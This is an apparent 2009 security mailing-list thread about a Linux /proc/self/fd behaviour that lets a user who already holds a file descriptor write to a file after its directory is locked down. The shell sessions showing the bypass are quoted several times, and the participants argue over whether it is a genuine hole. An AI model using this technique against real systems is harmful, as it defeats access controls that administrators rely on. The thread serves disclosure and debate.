/proc filesystem allows bypassing directory permissions on Linux

[Pavel Machek]

Hi!

This is forward from lkml, so no, I did not invent this
hole. Unfortunately, I do not think lkml sees this as a security hole,
so...

Jamie Lokier said:
> > >  a) the current permission model under /proc/PID/fd has a security
> > >     hole (which Jamie is worried about)
> >
> > I believe its bugtraq time. Being able to reopen file with additional
> > permissions looks like  a security problem...
> >
> > Jamie, do you have some test script? And do you want your 15 minutes
> >  of bugtraq fame? ;-).

> The reopen does check the inode permission, but it does not require
> you have any reachable path to the file.  Someone _might_ use that as
> a traditional unix security mechanism, but if so it's probably quite rare.

Ok, I got this, with two users. I guess it is real (but obscure)
security hole.

So, we have this scenario. pavel/root is not doing anything interesting in
the background.

pavel@toy:/tmp$ uname -a
Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux
pavel@toy:/tmp mkdir my_priv; cd my_priv
pavel@toy:/tmp/my_priv$ echo this file should never be writable > unwritable_file
# lock down directory
pavel@toy:/tmp/my_priv$ chmod 700 .
# relax file permissions, directory is private, so this is safe
# check link count on unwritable_file. We would not want someone
# to have a hard link to work around our permissions, would we?
pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file
pavel@toy:/tmp/my_priv$ cat unwritable_file
this file should never be writable
pavel@toy:/tmp/my_priv$ cat unwritable_file
got you
# Security problem here

[Please pause here for a while before reading how guest did it.]

Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.

So what did happen? User guest was able to work around directory
permissions in the background, using /proc filesystem.

guest@toy:~$ bash 3< /tmp/my_priv/unwritable_file
# Running inside nested shell
guest@toy:~$ read A <&3
guest@toy:~$ echo $A
this file should never be writable

guest@toy:~$ cd /tmp/my_priv
guest@toy:/tmp/my_priv$ ls
unwritable_file

# pavel did chmod 000, chmod 666 here
guest@toy:/tmp/my_priv$ ls
ls: cannot open directory .: Permission denied

# Linux correctly prevents guest from writing to that file
guest@toy:/tmp/my_priv$ cat unwritable_file
cat: unwritable_file: Permission denied
guest@toy:/tmp/my_priv$ echo got you >&3
bash: echo: write error: Bad file descriptor

# ...until we take a way around it with /proc filesystem. Oops.
guest@toy:/tmp/my_priv$ echo got you > /proc/self/fd/3

                                                                Pavel
--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

----- End forwarded message -----

--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

[Dan Yefimov]

On 23.10.2009 21:16, Pavel Machek wrote:

> Hi!
>
> This is forward from lkml, so no, I did not invent this
> hole. Unfortunately, I do not think lkml sees this as a security hole,
> so...
>
> Jamie Lokier said:
>>>>   a) the current permission model under /proc/PID/fd has a security
>>>>      hole (which Jamie is worried about)
>>>
>>> I believe its bugtraq time. Being able to reopen file with additional
>>> permissions looks like  a security problem...
>>>
>>> Jamie, do you have some test script? And do you want your 15 minutes
>>>   of bugtraq fame? ;-).
>
>> The reopen does check the inode permission, but it does not require
>> you have any reachable path to the file.  Someone _might_ use that as
>> a traditional unix security mechanism, but if so it's probably quite rare.
>
> Ok, I got this, with two users. I guess it is real (but obscure)
> security hole.
>
> So, we have this scenario. pavel/root is not doing anything interesting in
> the background.
>
> pavel@toy:/tmp$ uname -a
> Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel GNU/Linux
> pavel@toy:/tmp mkdir my_priv; cd my_priv
> pavel@toy:/tmp/my_priv$ echo this file should never be writable>  unwritable_file
> # lock down directory
> pavel@toy:/tmp/my_priv$ chmod 700 .
> # relax file permissions, directory is private, so this is safe
> # check link count on unwritable_file. We would not want someone
> # to have a hard link to work around our permissions, would we?
> pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file
> pavel@toy:/tmp/my_priv$ cat unwritable_file
> this file should never be writable
> pavel@toy:/tmp/my_priv$ cat unwritable_file
> got you
> # Security problem here
>
> [Please pause here for a while before reading how guest did it.]
>
> Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.
>
> So what did happen? User guest was able to work around directory
> permissions in the background, using /proc filesystem.
>
> guest@toy:~$ bash 3<  /tmp/my_priv/unwritable_file
> # Running inside nested shell
> guest@toy:~$ read A<&3
> guest@toy:~$ echo $A
> this file should never be writable
>
> guest@toy:~$ cd /tmp/my_priv
> guest@toy:/tmp/my_priv$ ls
> unwritable_file
>
> # pavel did chmod 000, chmod 666 here
> guest@toy:/tmp/my_priv$ ls
> ls: cannot open directory .: Permission denied
>
> # Linux correctly prevents guest from writing to that file
> guest@toy:/tmp/my_priv$ cat unwritable_file
> cat: unwritable_file: Permission denied
> guest@toy:/tmp/my_priv$ echo got you>&3
> bash: echo: write error: Bad file descriptor
>
> # ...until we take a way around it with /proc filesystem. Oops.
> guest@toy:/tmp/my_priv$ echo got you>  /proc/self/fd/3
>

That can hardly be called a real security hole, since the behaviour described
above is expected, and is as it was conceived by design. If the file owner in
fact allows writing to it, why should Linux prevent that from happening?
--

Sincerely Your, Dan.

[Pavel Machek]

> >pavel@toy:/tmp/my_priv$ chmod 700 .
> ># relax file permissions, directory is private, so this is safe
> ># check link count on unwritable_file. We would not want someone
> ># to have a hard link to work around our permissions, would we?
> >pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file
> >pavel@toy:/tmp/my_priv$ cat unwritable_file
> >this file should never be writable
> >pavel@toy:/tmp/my_priv$ cat unwritable_file
> >got you
> ># Security problem here
> >
> >[Please pause here for a while before reading how guest did it.]

...

> ># Linux correctly prevents guest from writing to that file
> >guest@toy:/tmp/my_priv$ cat unwritable_file
> >cat: unwritable_file: Permission denied
> >guest@toy:/tmp/my_priv$ echo got you>&3
> >bash: echo: write error: Bad file descriptor
> >
> ># ...until we take a way around it with /proc filesystem. Oops.
> >guest@toy:/tmp/my_priv$ echo got you>  /proc/self/fd/3
> >
> That can hardly be called a real security hole, since the behaviour
> described above is expected, and is as it was conceived by design.
> If the file owner in fact allows writing to it, why should Linux
> prevent that from happening?

No, I do not think this is expected. You could not write to that file
under traditional unix, and you can not write into that file when
/proc is unmounted.

I do not think mounting /proc should change access control semantics.

Plus, you may run traditional unix/POSIX application, expecting
directory access controls to prevent the write. (Or can you see a way
to write to that file when /proc is unmounted?)
                                                                        Pavel
--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

[Dan Yefimov]

On 24.10.2009 0:35, Matthew Bergin wrote:
> doesnt look like the original owner is trying to write to it. Shows it
> cant, it had guest write to it via the proc folders bad permissions.
> Looks legitimate
>
Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an attacker?
No, that was the owner of 'unwritable_file', nobody else. What the 0666 file
mode means? It means, that everybody can write to the file, can't he? So why do
you believe that pretension legitimate?
--

Sincerely Your, Dan.

[Arturo 'Buanzo' Busleiman]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Dan Yefimov wrote:
> Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an
> attacker? No, that was the owner of 'unwritable_file', nobody else. What
> the 0666 file mode means? It means, that everybody can write to the
> file, can't he? So why do you believe that pretension legitimate?

I think he means the 0700 on the containing directory for the "unwritable_file".

- --
Arturo "Buanzo" Busleiman / Arturo Busleiman @ 4:900/107
Independent Linux and Security Consultant - SANS - OISSG - OWASP
http://www.buanzo.com.ar/pro/eng.html
Mailing List Archives at http://archiver.mailfighter.net
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEAREKAAYFAkriHqYACgkQAlpOsGhXcE2hCACfYUfZIyjg0iVj8ITyjM8VsGzj
MekAn2Npxu5XRIsxx35gJ4DMtMCzmCAB
=WbEZ
-----END PGP SIGNATURE-----

[Dan Yefimov]

On 24.10.2009 1:08, Pavel Machek wrote:

>> That can hardly be called a real security hole, since the behaviour
>> described above is expected, and is as it was conceived by design.
>> If the file owner in fact allows writing to it, why should Linux
>> prevent that from happening?
>
> No, I do not think this is expected. You could not write to that file
> under traditional unix, and you can not write into that file when
> /proc is unmounted.
>
> I do not think mounting /proc should change access control semantics.
>

It didn't in fact change anything. If the guest created hardlink to that file in
a unrestricted location, what would you say? Procfs is in that respect just
another sort of hardlinks, whether you like that or not. If you didn't in fact
restrict an access to the file, you're on your own.

> Plus, you may run traditional unix/POSIX application, expecting
> directory access controls to prevent the write. (Or can you see a way
> to write to that file when /proc is unmounted?)
>
Directory permissions control an access just to the directory itself, not to the
files in it, so your pretensions are in fact illegitimate. Anyway, you're free
to consider that a security hole, but remember, that nobody is obliged to agree
with you in that or help you solving problems invented by yourself.
--

Sincerely Your, Dan.

[Pavel Machek]

On Sat 2009-10-24 01:24:49, Dan Yefimov wrote:

> On 24.10.2009 1:08, Pavel Machek wrote:
> >>That can hardly be called a real security hole, since the behaviour
> >>described above is expected, and is as it was conceived by design.
> >>If the file owner in fact allows writing to it, why should Linux
> >>prevent that from happening?
> >
> >No, I do not think this is expected. You could not write to that file
> >under traditional unix, and you can not write into that file when
> >/proc is unmounted.
> >
> >I do not think mounting /proc should change access control semantics.
> >
> It didn't in fact change anything. If the guest created hardlink to
> that file in a unrestricted location, what would you say? Procfs is
> in that respect just another sort of hardlinks, whether you like
> that or not. If you didn't in fact restrict an access to the file,
> you're on your own.

Now... go back to my original email:

%pavel@toy:/tmp/my_priv$ chmod 700 .
%# relax file permissions, directory is private, so this is safe
%# check link count on unwritable_file. We would not want someone
%# to have a hard link to work around our permissions, would we?
%pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file

Yes, you are right, open file descriptor acts as a kind of hardlink
here. Except that

a) this kind of hardlink does not exist when /proc is mounted (and on
non-Linux)

b) unlike other hardlinks, you can't see it on the link count

(and c) writing to file descriptor opened read-only is bad).

> >Plus, you may run traditional unix/POSIX application, expecting
> >directory access controls to prevent the write. (Or can you see a way
> >to write to that file when /proc is unmounted?)
> >
> Directory permissions control an access just to the directory
> itself, not to the files in it, so your pretensions are in fact
> illegitimate.

Demonstrate how to get access to the file with /proc unmounted and you
have a point. Demonstrate how to get access on anything else then
Linux and you have a point. Otherwise there's a security hole.
                                                                        Pavel

--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

[Pavel Machek]

On Sat 2009-10-24 01:12:51, Dan Yefimov wrote:

> On 24.10.2009 0:35, Matthew Bergin wrote:
> >doesnt look like the original owner is trying to write to it. Shows it
> >cant, it had guest write to it via the proc folders bad permissions.
> >Looks legitimate
> >
> Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an
> attacker? No, that was the owner of 'unwritable_file', nobody else.
> What the 0666 file mode means? It means, that everybody can write to
> the file, can't he? So why do you believe that pretension
> legitimate?

Original owner did chmod 666... after making sure traditional unix
permissions protect the file. Please look at original mail; it was
subtle but I believe I got it right, and file would not be writable
with /proc unmounted.

                                                                        Pavel
--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

[Dan Yefimov]

On 24.10.2009 2:05, Pavel Machek wrote:

> On Sat 2009-10-24 01:12:51, Dan Yefimov wrote:
>> On 24.10.2009 0:35, Matthew Bergin wrote:
>>> doesnt look like the original owner is trying to write to it. Shows it
>>> cant, it had guest write to it via the proc folders bad permissions.
>>> Looks legitimate
>>>
>> Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an
>> attacker? No, that was the owner of 'unwritable_file', nobody else.
>> What the 0666 file mode means? It means, that everybody can write to
>> the file, can't he? So why do you believe that pretension
>> legitimate?
>
> Original owner did chmod 666... after making sure traditional unix
> permissions protect the file. Please look at original mail; it was
> subtle but I believe I got it right, and file would not be writable
> with /proc unmounted.
>

I remember the original mail content. You're right, you can't reach the file if
the procfs is not mounted, but you forget about the race, allowing the guest to
create a hardlink to the file in an unrestricted location before the directory
access becomes restricted. Again, procfs is just another, specific kind of
hardlinks.
--

Sincerely Your, Dan.

[Dan Yefimov]

On 24.10.2009 1:56, Pavel Machek wrote:

> Now... go back to my original email:
>
> %pavel@toy:/tmp/my_priv$ chmod 700 .
> %# relax file permissions, directory is private, so this is safe
> %# check link count on unwritable_file. We would not want someone
> %# to have a hard link to work around our permissions, would we?
> %pavel@toy:/tmp/my_priv$ chmod 666 unwritable_file
>
> Yes, you are right, open file descriptor acts as a kind of hardlink
> here. Except that
>
> a) this kind of hardlink does not exist when /proc is mounted (and on
> non-Linux)
>
> b) unlike other hardlinks, you can't see it on the link count
>
> (and c) writing to file descriptor opened read-only is bad).
>
>>> Plus, you may run traditional unix/POSIX application, expecting
>>> directory access controls to prevent the write. (Or can you see a way
>>> to write to that file when /proc is unmounted?)
>>>
>> Directory permissions control an access just to the directory
>> itself, not to the files in it, so your pretensions are in fact
>> illegitimate.
>
> Demonstrate how to get access to the file with /proc unmounted and you
> have a point. Demonstrate how to get access on anything else then
> Linux and you have a point. Otherwise there's a security hole.
>

Did you think of creating a hardlink to the file in an unrestricted location?
That is the like "security hole".
--

Sincerely Your, Dan.

[Pavel Machek]

> >Original owner did chmod 666... after making sure traditional unix
> >permissions protect the file. Please look at original mail; it was
> >subtle but I believe I got it right, and file would not be writable
> >with /proc unmounted.
> >
> I remember the original mail content. You're right, you can't reach
> the file if the procfs is not mounted, but you forget about the
> race, allowing the guest to create a hardlink to the file in an
> unrestricted location before the directory access becomes
> restricted. Again, procfs is just another, specific kind of
> hardlinks.

Check it again.  There's no race; I check link count before chmod 666.
                                                                        Pavel
--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

[Dan Yefimov]

On 24.10.2009 2:39, Pavel Machek wrote:

>>> Original owner did chmod 666... after making sure traditional unix
>>> permissions protect the file. Please look at original mail; it was
>>> subtle but I believe I got it right, and file would not be writable
>>> with /proc unmounted.
>>>
>> I remember the original mail content. You're right, you can't reach
>> the file if the procfs is not mounted, but you forget about the
>> race, allowing the guest to create a hardlink to the file in an
>> unrestricted location before the directory access becomes
>> restricted. Again, procfs is just another, specific kind of
>> hardlinks.
>
> Check it again.  There's no race; I check link count before chmod 666.

I didn't see real commands checking the link count, just comments telling about
it. Not to tell about your script is broken by design. With what object do you
'chmod 0666 unwritable_file', if that file is not designed for access by anybody
other than you? This is a rhetorical question.
--

Sincerely Your, Dan.

[psz]

Dear Pavel,

> ... can you see a way to write to that file when /proc is unmounted?

While there is legitimate access to do so (after file is created and
before pavel issues 'chmod 700 /tmp/my_priv'), guest to use commands:

  ln /tmp/my_priv/unwritable_file /tmp/hardlink-to-object

and then use that instead of /proc/self/fd/3, should work same as
original "attack" (and am curious whether 'link counts' shown by
'ls -l /tmp/my_priv/unwritable_file' are 1 or 2 in each case).

Cheers, Paul

Paul Szabo   psz@...   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

[Daryl Tester-7]

Pavel Machek wrote:

> So what did happen? User guest was able to work around directory
> permissions in the background, using /proc filesystem.
>
> guest@toy:~$ bash 3< /tmp/my_priv/unwritable_file

Although having an already open handle to the file is kind of cheating. :-)
(well, it isn't, but I think it's a mitigating factor).

> # ...until we take a way around it with /proc filesystem. Oops.
> guest@toy:/tmp/my_priv$ echo got you > /proc/self/fd/3

But I understand that the check on the parent directory of the file for
accessibility appears to be missing here, at least to get the same behaviour
as relative file opening.  Despite what Dan says regarding the behaviour as
"by design", I find the /proc/fd system under Linux to be, erm, "ad hoc", and
the semantics not well documented (if at all).  The Linux implementation seems
to be more "filename based" rather than file descriptor (which appears to be
the BSD model), which has tripped me up before (e.g.
<http://lkml.org/lkml/2008/8/7/25>).


--
Regards,
  Daryl Tester

"Scheme is an exotic sports car. Fast. Manual transmission. No radio.
 Common Lisp is Howl's Moving Castle."
  -- Steve Yegge, comparing Lisp families to cars.

[Derek Martin]

On Fri, Oct 23, 2009 at 11:57:58PM +0400, Dan Yefimov wrote:
> That can hardly be called a real security hole, since the behaviour
> described above is expected, and is as it was conceived by design.

Lots of security holes can fall into that category!  The code matches
its design, and works as expected... it's just that the author had no
idea what he was getting himself into.  =8^)  

> If the file owner in fact allows writing to it, why should Linux
> prevent that from happening?

Because securing a file by securing directories that lead to it is a
valid and important (and expected) feature of file access semantics.

That said, the user in the example already has access to the file (in
a running process), and would be able to do so again, *if he had
access to a directory where the file was hard-linked*.  Pavel
described that the sysadmin checked for that, but even if this worked
as expected, there's a race condition where the user could create the
hard link after the sysadmin checked, but before the permissions were
corrected.  Unlikely, I know... but possible.

There's a nearly identical case that works in all Unixen, AFAIK:  You
have /a/b/file1, which is writable to user1.  The user has permission
to descend /a and /a/b.  At some point user1 does a cd to /a/b.  Then
at some later point, while the user still has that shell open, the
sysadmin closes off permission to /a, and user1 no longer can descend
it.  But it doesn't matter... user1 has already got a shell open in
/a/b, and therefore full access to all the files there which are not
otherwise protected against that user's access.  user1 can copy them,
mail them to friends, make hard links to them, etc....  Anything
desired, until that shell is closed.  This case won't work if you
close off /a/b, because you need to be able to modify the directory in
order to write to the file (I'm getting to that)...

I don't think what Pavel described is a very serious hole, but it *IS*
a hole, because:

1. It circumvents the fact that to write to a file, you MUST be able
to write to its directory, so that the file attributes can be updated.
That's an important part of accountability.

2. One of two things must be true: either the real directory itself is
not updated when the file is written (likely), or the directory IS
modified when the file is written, despite the fact that the user does
not have access to update the directory.  Either way, BAD LINUX.

I think there is one other legitimate answer to your question above:
If the person who created/accessed the file is an unauthorized user,
and the person who closed off directory access was responding to the
intrusion.  This includes a user who is authorized to use the system,
but has gained access to some part of the system that should not be
accessible, either by accident or by willful misdeed.  Of course,
there are likely other, better ways to respond than to simply close
off the directory permissions... but someone who is not expert in this
aspect of the behavior of the Linux kernel has every reason to think
that doing that would work. It's not documented anywhere a typical
sysadmin is likely to look that this method of filesystem permission
circumvention exists.

The most disturbing aspect of this is that the user went from having
read access, which was allowed, to getting write access, which should
never have been allowed.  It wasn't allowed with the old permissions,
and if the directory permissions had not been circumvented, it
wouldn't have been allowed with the new permissions.

I still think it's not very serious, because in order to exploit this,
you need:

 - The people responsible for managing access to sensitive data to
   mishandle the initial protections on the file(s)
 - Those same people to later protect the so-called sensitive file in
   a way that doesn't really make a whole lot of sense
 - A process that already has an affected file open before the bizarre
   change in protections
 - The sysadmins to fail to notice people are accessing the files they
   just protected.  You'd think if they just realized they had left
   permissions too open (and the data really was sensitive), they'd be
   paying attention...

That's a lot of crazy. =8^)  If your data really *is* sensitive, and
this happens, you probably need to fire your sysadmin.  Probably it
should still be fixed though.  I'm not sure what the point of making
the files accessible via /proc is...  It's good that open files are
*recorded* there, but making the contents accessible from there seems
unnecessary (and bad) to me, at least unless said access first
determines the canonical file system path to the file (i.e. the one
that the process used to open it), and checks the file access as it
would normally, using that path.  Still, I doubt I'll ever see this on
any system I manage.
 
If it were possible for a different user who wasn't already accessing
the file to get access this way, that would be a very different
matter...

--
Derek D. Martin
http://www.pizzashack.org/
GPG Key ID: 0x81CFE75D

[anton ivanov-7]

Following your logic we should all abandon directory permissions and
stick to file-only ones. Hmm... Dunno, probably the blood level in my
coffee subsystem is too high this morning, but I do not quite relish
that idea.

There is a very valid case of trying to restrict access via directory
permissions. Suppose you have a binary program that uses its own
directory but for whatever reason keeps scribbling in files with wrong
permission in it. While I cannot think of a current example, out of the
older ones at least one of the Word Perfect versions for linux used to
do that.

By tightening up the protection on the directory the sysadmin can
mitigate the problem. It is in fact the standard way of doing this.

On Sat, 2009-10-24 at 01:12 +0400, Dan Yefimov wrote:
> On 24.10.2009 0:35, Matthew Bergin wrote:
> > doesnt look like the original owner is trying to write to it. Shows it
> > cant, it had guest write to it via the proc folders bad permissions.
> > Looks legitimate
> >
> Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an attacker?
> No, that was the owner of 'unwritable_file', nobody else. What the 0666 file
> mode means? It means, that everybody can write to the file, can't he? So why do
> you believe that pretension legitimate?
--
   Understanding is a three-edged sword:
            your side, their side, and the truth. --Kosh Naranek

A. R. Ivanov
E-mail:  aivanov@...
WWW:     http://www.sigsegv.cx/
pub 1024D/DDE5E715 2002-03-03 Anton R. Ivanov <arivanov@...>
    Fingerprint: C824 CBD7 EE4B D7F8 5331  89D5 FCDA 572E DDE5 E715

[Dan Yefimov]

On 24.10.2009 10:47, Anton Ivanov wrote:
> Following your logic we should all abandon directory permissions and
> stick to file-only ones. Hmm... Dunno, probably the blood level in my
> coffee subsystem is too high this morning, but I do not quite relish
> that idea.
>
I didn't affirm that. I only told, that directory permissions can't in fact
restrict access to the file it contains, they can only hamper accessing that
file via that directory.

> There is a very valid case of trying to restrict access via directory
> permissions. Suppose you have a binary program that uses its own
> directory but for whatever reason keeps scribbling in files with wrong
> permission in it. While I cannot think of a current example, out of the
> older ones at least one of the Word Perfect versions for linux used to
> do that.
>
> By tightening up the protection on the directory the sysadmin can
> mitigate the problem. It is in fact the standard way of doing this.
>

If the application sets wrong permissions on files, it is by definition broken.
Yes, setting more restrictive directory permissions can to some extent mitigate
the problem, but not really fix it. What if that application is used by multiple
users?
The problem raised in the original mail is to some extent artificial, as the
only users able to access /proc/<PID>/fd/ are the user with the same UID, as the
process EUID, and root, and if the process is either setuid or setgid,
/proc/<PID>/fd of that process is accessible only by root. Not to tell about
that /proc/<PID>/fd/ contains only symbolic links, not files, so I can't
understand, how the original reporter managed to gain access to the file in the
restricted directory using that symlink.
--

Sincerely Your, Dan.

[anton ivanov-7]

[snip]

> If the application sets wrong permissions on files, it is by definition broken.
> Yes, setting more restrictive directory permissions can to some extent mitigate
> the problem, but not really fix it. What if that application is used by multiple
> users?

There have been cases and quite a few.

My first thoughts were about Word Perfect. Actually it is just a
representative of a wider class of apps there. The semantics of locking
on Windows and Unix differ and when apps get ported (especially using a
toolkit) people do not account for the advisory nature of Unix flock().
As a result files that were reasonably safe in the original environment
due to OS-level exclusive locking stop being so on the Unix port.

Also, while it is a wonderful position to stand up and proclaim that
application is broken in a commercial environment you quite often have
no choice but to bolt it down to the maximum extent possible until the
developers fix it and directory permissions is the valid way of doing
so.

> The problem raised in the original mail is to some extent artificial, as the
> only users able to access /proc/<PID>/fd/ are the user with the same UID, as the
> process EUID, and root, and if the process is either setuid or setgid,
> /proc/<PID>/fd of that process is accessible only by root. Not to tell about
> that /proc/<PID>/fd/ contains only symbolic links, not files, so I can't
> understand, how the original reporter managed to gain access to the file in the
> restricted directory using that symlink.

The perms are definitely broken and without a code audit on procfs I
would not bet that this is limited just to this rather obscure test
case.

To be honest, I hope that it is limited to this rather obscure test
case. If it is not there may be entertaining ramifications.

Cheers,

--
   Understanding is a three-edged sword:
            your side, their side, and the truth. --Kosh Naranek

A. R. Ivanov
E-mail:  aivanov@...
WWW:     http://www.sigsegv.cx/
pub 1024D/DDE5E715 2002-03-03 Anton R. Ivanov <arivanov@...>
    Fingerprint: C824 CBD7 EE4B D7F8 5331  89D5 FCDA 572E DDE5 E715

[Dan Yefimov]

On 24.10.2009 20:59, Anton Ivanov wrote:

>> Not to tell about
>> that /proc/<PID>/fd/ contains only symbolic links, not files, so I can't
>> understand, how the original reporter managed to gain access to the file in the
>> restricted directory using that symlink.
>
> The perms are definitely broken and without a code audit on procfs I
> would not bet that this is limited just to this rather obscure test
> case.
>
> To be honest, I hope that it is limited to this rather obscure test
> case. If it is not there may be entertaining ramifications.
>

Given my citation above (I personally use Linux), that obscure test case looks
doubtful. If the original reporter uses some patched kernel, that doesn't matter
others.
--

Sincerely Your, Dan.

[Anton Ivanov-8]

On Sat, 2009-10-24 at 21:39 +0400, Dan Yefimov wrote:

> On 24.10.2009 20:59, Anton Ivanov wrote:
> >> Not to tell about
> >> that /proc/<PID>/fd/ contains only symbolic links, not files, so I can't
> >> understand, how the original reporter managed to gain access to the file in the
> >> restricted directory using that symlink.
> >
> > The perms are definitely broken and without a code audit on procfs I
> > would not bet that this is limited just to this rather obscure test
> > case.
> >
> > To be honest, I hope that it is limited to this rather obscure test
> > case. If it is not there may be entertaining ramifications.
> >
> Given my citation above (I personally use Linux), that obscure test case looks
> doubtful. If the original reporter uses some patched kernel, that doesn't matter
> others.

It works on Debian 2.6.26 out of the box. It is not an obscure patched
kernel case I am afraid.

If you redir an FD to a file using thus redir-ed FD in /proc allows you
to bypass directory permissions for where the file is located.
Thankfully, file permissions still apply so you need an app which has
silly file perms in a bolted down directory for this.

Symlinking the same file to a link on a normal ext3 or nfs filesystem as
a sanity check shows correct permission behaviour. If you try to write
to that symlink you get permission denied so the permissions on the fs
actually work.

No need to be root, nothing. It is not a case of "forget to drop EID or
something else like that either". It looks like what it says on the tin
- permission bypass.

Not that I would have expected anything different considering who posted
it in the first place.

--
   Understanding is a three-edged sword:
            your side, their side, and the truth. --Kosh Naranek

A. R. Ivanov
E-mail:  anton.ivanov@...
WWW:     http://www.kot-begemot.co.uk/